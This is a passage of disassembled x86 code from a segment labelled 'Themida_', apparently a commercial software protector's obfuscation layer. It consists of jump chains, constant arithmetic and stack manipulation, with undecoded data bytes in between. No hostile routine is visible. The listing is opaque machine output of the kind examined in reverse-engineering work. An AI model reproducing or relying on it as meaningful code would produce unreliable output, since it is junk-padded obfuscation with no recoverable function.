		pop	eax
		add	ebp, 187922A9h
		add	ebp, esi
		sub	ebp, 187922A9h
		jmp	loc_56915E
; ---------------------------------------------------------------------------

loc_55C206:				; CODE XREF: Themida_:00561730j
		xor	ecx, 71B52CA2h
		jnp	loc_562887
		or	ecx, 161B0B14h
		sub	ecx, 3FDB5B73h
		mov	esi, ecx
		pop	ecx
		push	esi
		push	6CD41EC3h
		pop	esi
		sub	ecx, 3FC1696Ch
		add	ecx, esi
		add	ecx, 3FC1696Ch
		jmp	loc_56BFF6
; ---------------------------------------------------------------------------
		db 81h
		dd 0E6050FF5h, 0AE97E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C246:				; CODE XREF: Themida_:0056B17Aj
		mov	esp, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 0EF00BE1h
		or	edi, 0E935739h
		jmp	loc_5671C3
; ---------------------------------------------------------------------------
		db 83h
		dd 0BF57FFE9h, 364104F1h, 895FF931h, 53E959CEh
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C277:				; CODE XREF: Themida_:0055DA2Fj
		mov	ebx, 0DF4272Eh
		mov	esi, ebx
		push	dword ptr [esp]
		jmp	loc_56C142
; ---------------------------------------------------------------------------

loc_55C286:				; CODE XREF: Themida_:00565CF4j
		push	ecx
		mov	ecx, 198F4003h
		shl	ecx, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ecx
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 648B66FDh
		not	esi
		jmp	loc_55E31A
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 0E9000000h, 0FFFFFE54h
; ---------------------------------------------------------------------------

loc_55C2C4:				; CODE XREF: Themida_:00568C69j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_569816
; ---------------------------------------------------------------------------

loc_55C2CF:				; CODE XREF: Themida_:0056736Fj
		push	1CEBh
		mov	[esp], eax
		jmp	loc_559C29
; ---------------------------------------------------------------------------

loc_55C2DC:				; CODE XREF: Themida_:0055F98Aj
		xor	edi, ebp
		pop	ebp
		push	edi
		pop	eax
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	13F03F9h
		pop	edi
		jmp	loc_5661E0
; ---------------------------------------------------------------------------
		db 5Bh,	47h, 81h
		dd 3F0556E7h, 47DFF722h, 0EE74E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C30E:				; CODE XREF: Themida_:00563F21j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_564CBC
; ---------------------------------------------------------------------------

loc_55C31F:				; CODE XREF: Themida_:005568D8j
		neg	bh
		shl	bh, 7
		inc	bh
		xor	bh, 3Ch
		add	dh, bh
		jmp	loc_56C32F
; ---------------------------------------------------------------------------

loc_55C330:				; CODE XREF: Themida_:00566461j
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561735
; ---------------------------------------------------------------------------

loc_55C34C:				; CODE XREF: Themida_:00564016j
		pop	dword ptr [esp]
		jmp	loc_568E3B
; ---------------------------------------------------------------------------
aUqsO		db 'UQИ&O',0
		db 0
; ---------------------------------------------------------------------------

loc_55C35B:				; CODE XREF: Themida_:00557D78j
					; DATA XREF: Themida_:00556178o
		mov	esp, [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 0BDh
		dd 6EFC0AB3h, 0A0B2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C36D:				; CODE XREF: Themida_:005681B9j
		dec	eax
		js	loc_55BC6E
		jmp	loc_565633
; ---------------------------------------------------------------------------

loc_55C379:				; CODE XREF: Themida_:loc_55F98Fj
		push	edx
		jmp	loc_564DDB
; ---------------------------------------------------------------------------

loc_55C37F:				; CODE XREF: Themida_:00563417j
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_567CD3
; ---------------------------------------------------------------------------

loc_55C390:				; CODE XREF: Themida_:0056AAC8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_562B4A
; ---------------------------------------------------------------------------

loc_55C3A1:				; CODE XREF: Themida_:0056C7EDj
		add	esp, 4
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55C3AC:				; CODE XREF: Themida_:0055C011j
		pop	ebp
		push	ebx
		mov	ebx, 69D15001h
		jmp	loc_55E9E4
; ---------------------------------------------------------------------------

loc_55C3B8:				; CODE XREF: Themida_:0055EF6Fj
		add	eax, 476E7E30h
		sub	eax, ebx
		sub	eax, 476E7E30h
		pop	ebx
		add	eax, ecx
		add	eax, 21BD2896h
		sub	eax, 316D21CAh
		jmp	loc_5615BF
; ---------------------------------------------------------------------------

loc_55C3D6:				; CODE XREF: Themida_:00560213j
		pop	edi
		pop	edx
		jmp	loc_566946
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0D8h
		dd 56A260Dh, 1AE423AEh,	0ABBE9h
		db 0
; ---------------------------------------------------------------------------

loc_55C3ED:				; CODE XREF: Themida_:0055E3D9j
		inc	edx
		and	edx, 1FCA6884h
		sub	edx, 682685Ch
		push	ebp
		mov	ebp, edx
		mov	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_569699
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3F639AEh, 555DE931h,	80740DBDh, 0C5814D5Ch, 0D8BF64EDh
		dd 6C64E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C425:				; CODE XREF: Themida_:00558E4Dj
		pop	ebx
		dec	edx
		shl	edx, 5
		inc	edx
		sub	edx, 0B8863A73h
		add	ebx, 29235641h
		add	ebx, edx
		sub	ebx, 29235641h
		pop	edx
		add	ebx, eax
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 3DDC425Bh
		xchg	edx, ebx
		not	edx
		jmp	loc_55671B
; ---------------------------------------------------------------------------

loc_55C45B:				; CODE XREF: Themida_:0055866Aj
		sub	dword ptr [esp], 10F61AF5h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55741B
; ---------------------------------------------------------------------------

loc_55C470:				; CODE XREF: Themida_:00556BEBj
		push	esp
		pop	edx
		jmp	loc_55AC03
; ---------------------------------------------------------------------------

loc_55C477:				; CODE XREF: Themida_:00559096j
		push	ebx
		mov	bl, cl
		jmp	loc_565FB0
; ---------------------------------------------------------------------------

loc_55C47F:				; CODE XREF: Themida_:00560759j
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_55A69A
; ---------------------------------------------------------------------------

loc_55C48B:				; CODE XREF: Themida_:0056C91Aj
		pop	ebx
		pop	ebx
		jmp	loc_55BBA3
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0C891E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C49A:				; CODE XREF: Themida_:0055B1A5j
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		mov	ecx, 1F7067B7h
		and	ecx, 10BE6206h
		push	ebx
		mov	ebx, 2C15C56h
		add	ecx, ebx
		pop	ebx
		jmp	loc_560D68
; ---------------------------------------------------------------------------

loc_55C4B9:				; CODE XREF: Themida_:0055ACADj
		add	edi, esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_55A3E8
; ---------------------------------------------------------------------------

loc_55C4C4:				; CODE XREF: Themida_:0055CDE6j
		mov	edx, 4
		add	ecx, edx
		jmp	loc_5650F2
; ---------------------------------------------------------------------------
		dd 2C9BF681h, 0F6816639h, 0F210CB0h, 0F16C890Fh, 0EE810000h
		dd 2E987D68h, 194ACE81h, 0FFE92C6Fh, 0B80000F1h, 308610E7h
		dd 741DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55C4FD:				; CODE XREF: Themida_:00566E66j
		pop	ebp
		pop	eax
		pop	ecx
		xor	edx, ebp
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_566916
; ---------------------------------------------------------------------------

loc_55C50E:				; CODE XREF: Themida_:00556716j
		mov	edx, 740542A5h
		mov	ebp, 3F21123h
		xor	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, offset dword_505694
		sub	ebx, 35431086h
		xor	ebx, 0AEED6594h
		sub	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55BFB9
; ---------------------------------------------------------------------------
		dw 8F68h
		dd 8900005Ch, 0FDBF243Ch, 896B665Fh, 0F7295FFEh, 241C8B5Eh
		dd 81E68956h, 4C6h, 23BF5700h, 0E9270978h, 816Ah
; ---------------------------------------------------------------------------

loc_55C564:				; CODE XREF: Themida_:0055F91Ej
					; Themida_:00569F7Ej
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3480h
		mov	[esp], esi
		jmp	loc_560CED
; ---------------------------------------------------------------------------

loc_55C57E:				; CODE XREF: Themida_:0056325Bj
		not	ecx
		add	ecx, 47BF741Ch
		mov	ebx, ecx
		jmp	loc_562CB4
; ---------------------------------------------------------------------------

loc_55C58D:				; CODE XREF: Themida_:0056BB3Bj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56B810
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0BD44F02Dh, 56D8292Fh, 0FFB2FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C5A9:				; CODE XREF: Themida_:00564E41j
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+1Ch]
		jmp	loc_569A47
; ---------------------------------------------------------------------------

loc_55C5D2:				; CODE XREF: Themida_:0055B60Dj
		xchg	ebp, [esp]
		pop	esp
		push	ax
		mov	ah, dl
		mov	dl, cl
		mov	cl, ah
		jmp	loc_56B570
; ---------------------------------------------------------------------------

loc_55C5E3:				; CODE XREF: Themida_:0055D789j
		pop	ebx
		or	edi, 0E727D5Eh
		dec	edi
		and	edi, 45803781h
		shr	edi, 1
		dec	edi
		add	edi, 0C290E0C3h
		add	eax, edi
		pop	edi
		mov	ecx, eax
		pop	eax
		add	ecx, 0FFFFFFFFh
		shr	ecx, 5
		push	edx
		mov	edx, 40A33855h
		sub	edx, 6531699Ch
		jmp	loc_569A09
; ---------------------------------------------------------------------------

loc_55C617:				; CODE XREF: Themida_:0055F0CBj
		pop	ecx
		add	esp, 4
		mov	cl, al
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	ah, cl
		mov	bl, ah
		pop	eax
		jmp	loc_55AC5E
; ---------------------------------------------------------------------------

loc_55C631:				; CODE XREF: Themida_:005577F4j
		add	esp, 4
		add	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 57526F19h
		jmp	loc_564E46
; ---------------------------------------------------------------------------

loc_55C642:				; CODE XREF: Themida_:00563E11j
		jnb	loc_55E54B
		add	edx, 0B5730FF0h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	ebx
		push	5BEFh
		mov	[esp], esi
		mov	esi, 2F6B788Bh
		dec	esi
		jge	loc_564A54
		xor	esi, 2F6B788Eh
		push	esi
		mov	edi, edx
		push	esp
		sub	edi, esi
		pop	esi
		sub	edx, 2E5E19AFh
		sub	edx, 7DC7799Ah
		add	edx, edi
		add	edx, 7DC7799Ah
		push	1482h
		mov	[esp], edi
		jmp	loc_560ADC
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 40500h, 7EE90000h, 83FFFF9Eh, 148704C2h
		dd 24248B24h, 4C681h, 0FF560000h, 5E042474h, 0E924048Fh
		dd 0BF31h
; ---------------------------------------------------------------------------

loc_55C6EC:				; CODE XREF: Themida_:00569FA8j
		or	ebp, 57DB6FADh
		jmp	loc_56120D
; ---------------------------------------------------------------------------

loc_55C6F7:				; CODE XREF: Themida_:0055F0C0j
		mov	edi, 679D1E69h
		xor	edi, 3D7C353Dh
		shl	edi, 3
		shl	edi, 5
		add	edi, 1ED4AC04h
		add	esi, edi
		pop	edi
		jmp	loc_55DC28
; ---------------------------------------------------------------------------

loc_55C716:				; CODE XREF: Themida_:00563739j
		or	eax, eax
		jz	loc_557C71
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56651F
; ---------------------------------------------------------------------------

loc_55C729:				; CODE XREF: Themida_:005648C7j
		xchg	ecx, [esp]
		jmp	loc_562DC9
; ---------------------------------------------------------------------------

loc_55C731:				; CODE XREF: Themida_:0056877Fj
		mov	ebx, 78266245h
		xchg	edx, ebx
		not	edx
		jmp	loc_55EFA5
; ---------------------------------------------------------------------------
		db 83h
		dd 0E951FFC7h, 0E693h
; ---------------------------------------------------------------------------

loc_55C748:				; CODE XREF: Themida_:005585FFj
					; Themida_:0056674Ej
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55F9F5
; ---------------------------------------------------------------------------

loc_55C751:				; CODE XREF: Themida_:00567F2Bj
		jnz	loc_5601E7
		jmp	loc_5635C4
; ---------------------------------------------------------------------------
		dd 0FFC040E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C761:				; CODE XREF: Themida_:005580F9j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0FBh
		dd 81316A69h, 0B86101F7h, 5FF901B7h, 0E3E9CB01h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C787:				; CODE XREF: Themida_:00569050j
		mov	ebx, esp
		jmp	loc_55BDEF
; ---------------------------------------------------------------------------
		dw 2C29h
		dd 0BA525D24h, 0D7C38A50h, 167AC581h, 0D5296AF7h, 167AED81h
		dd 295A6AF7h, 9AE95DEFh
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C7AF:				; CODE XREF: Themida_:00557D36j
		push	small 2CCCh
		mov	[esp], dx
		push	eax
		mov	ah, 51h
		mov	dh, ah
		pop	eax
		add	ch, 0F4h
		jmp	loc_566591
; ---------------------------------------------------------------------------

loc_55C7C5:				; CODE XREF: Themida_:0055D6BBj
		add	ebx, 5B6F6BD7h
		shr	ebx, 7
		shl	ebx, 8
		push	edi
		push	eax
		mov	eax, 77D239FAh
		mov	edi, eax
		jmp	loc_566A45
; ---------------------------------------------------------------------------

loc_55C7DF:				; CODE XREF: Themida_:0056C8BAj
		sub	eax, ebx
		pop	ebx
		push	edi
		push	ebx
		push	edx
		mov	edx, 21957CAAh
		jmp	loc_56224E
; ---------------------------------------------------------------------------

loc_55C7EF:				; CODE XREF: Themida_:0055F8C6j
		pop	ecx
		inc	edx
		shr	edx, 4
		jmp	loc_569A73
; ---------------------------------------------------------------------------

loc_55C7F9:				; CODE XREF: Themida_:0056A6BEj
		add	ebx, 650E327Ch
		jmp	loc_55A03E
; ---------------------------------------------------------------------------
		dd 68241C89h, 69D8h, 0E9242489h, 96Eh
; ---------------------------------------------------------------------------

loc_55C814:				; CODE XREF: Themida_:00557ED8j
		sub	ebx, 14933645h
		pop	edx
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_566A71
; ---------------------------------------------------------------------------

loc_55C832:				; CODE XREF: Themida_:0056BDCEj
		add	eax, 33FF376Ah
		jmp	loc_55E928
; ---------------------------------------------------------------------------

loc_55C83C:				; CODE XREF: Themida_:0056B826j
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55E3AB
; ---------------------------------------------------------------------------

loc_55C853:				; CODE XREF: Themida_:005575E2j
		push	ebp
		push	ebx
		mov	ebx, 3B4F6DBDh
		add	ebx, 30F9378Eh
		js	loc_55D1A8
		jmp	loc_5653DE
; ---------------------------------------------------------------------------

loc_55C86B:				; CODE XREF: Themida_:00557DD8j
		add	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_5639BD
; ---------------------------------------------------------------------------

loc_55C874:				; CODE XREF: Themida_:0055D34Fj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5670D3
; ---------------------------------------------------------------------------

loc_55C883:				; CODE XREF: Themida_:00568674j
		push	edx
		jmp	loc_56B295
; ---------------------------------------------------------------------------

loc_55C889:				; CODE XREF: Themida_:00561FC6j
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 72h
		sub	bh, 81h
		dec	bh
		neg	bh
		add	bh, 0BDh
		add	bh, 0FFh
		sub	bh, 0C1h
		push	ebx
		mov	bh, 55h
		inc	bh
		sub	bh, 6Ah
		add	dl, bh
		pop	ebx
		add	dl, bh
		sub	dl, 0ECh
		mov	ebx, [esp]
		add	esp, 4
		sub	bl, dl
		mov	edx, [esp]
		jmp	loc_560FD3
; ---------------------------------------------------------------------------
byte_55C8C7	db 8Bh			; DATA XREF: Themida_:005560E4o
		dd 25E92424h, 5FFFFFDCh, 0C780E9h, 86055D00h, 5096D5Fh
		dd 543D73Eh, 8958C331h,	9BE95BDEh, 590000E3h, 455FFD31h
		dd 7433BA52h, 0DEE92EC1h, 0FF00002Ch, 34FF2434h, 0E9505D24h
		dd 330Eh
; ---------------------------------------------------------------------------

loc_55C908:				; CODE XREF: Themida_:0055EDBBj
		push	esp
		jmp	loc_567DA8
; ---------------------------------------------------------------------------

loc_55C90E:				; CODE XREF: Themida_:0056BC4Dj
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 658072h
		xor	ebx, edi
		jmp	loc_56D044
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18300h, 0E9240C87h, 105B4h
; ---------------------------------------------------------------------------

loc_55C934:				; CODE XREF: Themida_:00564FD1j
		mov	ecx, 3D863D6Ch
		sub	ebp, 469F70B3h
		add	ebp, ecx
		add	ebp, 469F70B3h
		pop	ecx
		jmp	loc_5695D2
; ---------------------------------------------------------------------------

loc_55C94D:				; CODE XREF: Themida_:00557F49j
		not	edi
		add	edi, 57D41C7Eh
		and	edi, 334B0C62h
		jmp	loc_561349
; ---------------------------------------------------------------------------
		dd 20274205h, 31D90573h, 81596B5Bh, 4ECh, 243C8900h, 0C67238BFh
		dd 0B1E78102h, 47095F33h, 0C86BD55h, 81455717h,	9A7D3EDh
		dd 8BEF0112h, 0C483242Ch, 72F78104h, 8116D801h,	0DEC66CF7h
		dd 5FF80135h, 0FB2DD801h, 0E9665551h, 0FFFFA76Dh
; ---------------------------------------------------------------------------

loc_55C9B0:				; CODE XREF: Themida_:0056D2D6j
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	97Bh
		mov	[esp], esi
		mov	esi, 1
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_557563
; ---------------------------------------------------------------------------

loc_55C9CD:				; CODE XREF: Themida_:0055CE03j
		push	7A86h
		jmp	loc_56B59A
; ---------------------------------------------------------------------------
		db 52h
		dd 0C83B04BAh, 5AD02922h, 933ECD2Dh, 0FB0DE911h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C9EA:				; CODE XREF: Themida_:0056606Fj
		mov	esi, esp
		jmp	loc_55F50E
; ---------------------------------------------------------------------------

loc_55C9F1:				; CODE XREF: Themida_:0055FA10j
		add	al, 0D6h
		pop	ebx
		push	4B2Ch
		mov	[esp], ecx
		jmp	loc_55CCF0
; ---------------------------------------------------------------------------

loc_55CA01:				; CODE XREF: Themida_:00558A11j
		push	75BFh
		jmp	loc_558F8D
; ---------------------------------------------------------------------------

loc_55CA0B:				; CODE XREF: Themida_:00560C29j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	63C9h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_559BEA
; ---------------------------------------------------------------------------

loc_55CA2F:				; CODE XREF: Themida_:005634ACj
		mov	[esp], eax
		jmp	loc_56756F
; ---------------------------------------------------------------------------

loc_55CA37:				; CODE XREF: Themida_:0056D6FEj
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55F346
; ---------------------------------------------------------------------------
		dd 21EC68h, 240C8900h, 4803FCB9h, 8BCA2948h, 0C483240Ch
		dd 4EC8104h, 89000000h,	0FF582414h, 835A2434h, 0C78104C4h
		dd 5C6823A4h, 0EBBC781h, 0C7814727h, 5E75459Ch,	8BE9C701h
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CA7F:				; CODE XREF: Themida_:00556FD5j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	edi, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 4Dh, 98h
		dd 0ADE9FFFFh
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CA9F:				; CODE XREF: Themida_:0056D069j
		mov	[esp], edi
		mov	edi, 464C49E1h
		add	edi, 34790C3Eh
		and	edi, 57FD12A5h
		push	494Ah
		mov	[esp], ebx
		mov	ebx, 0
		sub	ebx, edi
		mov	edi, ebx
		mov	ebx, [esp]
		jmp	loc_55CD81
; ---------------------------------------------------------------------------

loc_55CACC:				; CODE XREF: Themida_:0056C779j
		mov	cl, dl
		pop	edx
		xor	al, cl
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_564371
; ---------------------------------------------------------------------------

loc_55CADD:				; CODE XREF: Themida_:00556DF6j
		mov	eax, 6A573B6Ah
		jmp	loc_5626F2
; ---------------------------------------------------------------------------

loc_55CAE7:				; CODE XREF: Themida_:0055B98Cj
		pop	dword ptr [esp]
		jmp	loc_565D41
; ---------------------------------------------------------------------------

loc_55CAEF:				; CODE XREF: Themida_:0055D8BBj
		push	481Bh
		mov	[esp], ebx
		push	esp
		jmp	loc_568369
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXhtq		db 'XhБQ',0
		align 2
		dw 3C89h
		dd 6A196824h, 24890000h, 24048324h, 0E9565F04h,	10755h
; ---------------------------------------------------------------------------

loc_55CB1C:				; CODE XREF: Themida_:00563F67j
		mov	ecx, 2DB17450h
		inc	ecx
		xor	ecx, 62F96163h
		add	ebp, ecx
		pop	ecx
		jmp	loc_55E448
; ---------------------------------------------------------------------------

loc_55CB30:				; CODE XREF: Themida_:005668BEj
		add	esp, 4
		jmp	loc_566EB0
; ---------------------------------------------------------------------------

loc_55CB38:				; CODE XREF: Themida_:005691E9j
		sub	esp, 2
		jmp	loc_559186
; ---------------------------------------------------------------------------

loc_55CB43:				; CODE XREF: Themida_:00568D01j
		pop	eax
		add	esp, 4
		xor	eax, 231C62F3h
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_567EB1
; ---------------------------------------------------------------------------

loc_55CB5A:				; CODE XREF: Themida_:00568CA1j
		mov	[esp], eax
		push	esi
		push	ebp
		jmp	loc_5628F4
; ---------------------------------------------------------------------------

loc_55CB64:				; CODE XREF: Themida_:0055D841j
		inc	cl
		jno	loc_560EF9
		jmp	loc_557421
; ---------------------------------------------------------------------------
		db 52h,	88h, 0E6h
		dd 68B6F388h
; ---------------------------------------------------------------------------

loc_55CB78:				; CODE XREF: Themida_:0056B0AAj
		jmp	loc_568144
; ---------------------------------------------------------------------------

loc_55CB7D:				; CODE XREF: Themida_:005672BEj
		jmp	loc_5574C8
; ---------------------------------------------------------------------------

loc_55CB82:				; CODE XREF: Themida_:00557EFEj
		add	ebp, eax
		pop	eax
		sub	esp, 4
		jmp	loc_560CC0
; ---------------------------------------------------------------------------

loc_55CB8D:				; CODE XREF: Themida_:0055E279j
		add	dword ptr [esp], 6CC3363Bh
		pop	ebx
		sub	ebx, 6CC3363Bh
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		add	[esp+4], edx
		jmp	loc_56AAB5
; ---------------------------------------------------------------------------

loc_55CBAD:				; CODE XREF: Themida_:loc_561867j
					; Themida_:005686C4j
		or	edx, 4E5652D2h
		jz	loc_561B59
		inc	edx
		jle	loc_55B22F
		sub	edx, 26ED2458h
		mov	eax, edx
		pop	edx
		add	eax, 4DA31BB5h
		and	eax, 2D974AD4h
		push	edi
		mov	edi, 687537F1h
		add	edi, 9C20125Fh
		jmp	loc_557DC0
; ---------------------------------------------------------------------------

loc_55CBE4:				; CODE XREF: Themida_:00564680j
		mov	edi, ebx
		jmp	loc_568CBB
; ---------------------------------------------------------------------------
		db 68h
		dd 345h, 54241C89h, 57241C8Bh, 8904EC83h, 4812424h, 424h
		dd 0BD555F00h, 4, 0CAE9EF01h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CC13:				; CODE XREF: Themida_:0055BFC9j
		shr	ebp, 6
		jns	loc_55BAF1
		or	ebp, 534E5876h
		xor	al, 58h
		and	al, 0C7h

loc_55CC26:				; DATA XREF: Themida_:00556210o
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 19E4174Dh
		or	edx, 3E98173Ch
		js	loc_56426F
		jmp	loc_569D80
; ---------------------------------------------------------------------------

loc_55CC4C:				; CODE XREF: Themida_:0056B2F9j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_55DFAD
; ---------------------------------------------------------------------------

loc_55CC63:				; CODE XREF: Themida_:loc_564707j
		dec	eax
		jmp	loc_55813F
; ---------------------------------------------------------------------------
byte_55CC69	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005561C0o
		dd 0E2895224h, 531EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55CC75:				; CODE XREF: Themida_:0055DE9Dj
		add	edi, 8C021E0h
		pop	esi
		shl	edi, 6
		jmp	loc_560EE2
; ---------------------------------------------------------------------------

loc_55CC84:				; CODE XREF: Themida_:005679B6j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 43732895h
		jmp	loc_5699C2
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFE858E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CCA1:				; CODE XREF: Themida_:00556454j
					; Themida_:loc_565C60j
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bl, dl
		mov	ch, bl
		pop	ebx
		mov	al, ch
		jmp	loc_561F74
; ---------------------------------------------------------------------------

loc_55CCB4:				; CODE XREF: Themida_:00568A2Dj
		mov	edi, 4DBF47DBh
		sub	eax, edi
		mov	edi, [esp]
		jmp	loc_55AF77
; ---------------------------------------------------------------------------

loc_55CCC3:				; CODE XREF: Themida_:00564DBAj
		add	esp, 4
		jmp	loc_5698A0
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 18B0h
; ---------------------------------------------------------------------------

loc_55CCD4:				; CODE XREF: Themida_:0055F370j
		pop	esp
		shr	ecx, 6
		push	5EA7h
		mov	[esp], ebx
		jmp	loc_55F24E
; ---------------------------------------------------------------------------

loc_55CCE5:				; CODE XREF: Themida_:005698A6j
		add	bl, 74h
		movzx	eax, al
		jmp	loc_569F83
; ---------------------------------------------------------------------------

loc_55CCF0:				; CODE XREF: Themida_:0055C9FCj
		push	ebx
		mov	bl, 3Eh
		push	ecx
		jmp	loc_56CF48
; ---------------------------------------------------------------------------

loc_55CCF9:				; CODE XREF: Themida_:00565DA3j
					; Themida_:0056943Fj
		sub	eax, 30A12CC8h
		sub	eax, 0FFFFFFFFh
		add	eax, 5B1D57ECh
		sub	eax, 23D6C844h
		mov	ebx, eax
		pop	eax
		add	ebx, 379C3DA7h
		jle	loc_56AEAD
		xor	ebx, 7E630006h
		jmp	loc_56873B
; ---------------------------------------------------------------------------

loc_55CD27:				; CODE XREF: Themida_:00565810j
		pop	edx
		jmp	loc_5682F5
; ---------------------------------------------------------------------------

loc_55CD2D:				; CODE XREF: Themida_:005620ADj
					; Themida_:0056A705j
		push	dx
		mov	dl, 0C0h
		jmp	loc_55F53C
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0E7890F03h, 68000071h, 2969h, 0B8240489h, 404B6154h
		dd 445B880Fh, 0D2E90000h, 57FFFFDBh, 7610AFBFh,	51FDE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CD62:				; CODE XREF: Themida_:loc_561BE7j
		sub	eax, 727131DCh
		js	loc_55FE53
		jmp	loc_56574C
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 58000000h
; ---------------------------------------------------------------------------

loc_55CD7C:				; CODE XREF: Themida_:005571EEj
		jmp	loc_55C028
; ---------------------------------------------------------------------------

loc_55CD81:				; CODE XREF: Themida_:0055CAC7j
		add	esp, 4
		inc	edi
		dec	edi
		jmp	loc_559997
; ---------------------------------------------------------------------------

loc_55CD8E:				; CODE XREF: Themida_:005650CEj
		push	269B471Dh
		pop	edi
		and	edi, 71A4008Eh
		neg	edi
		jns	loc_55F1B0
		push	esi
		mov	esi, 0B253E810h
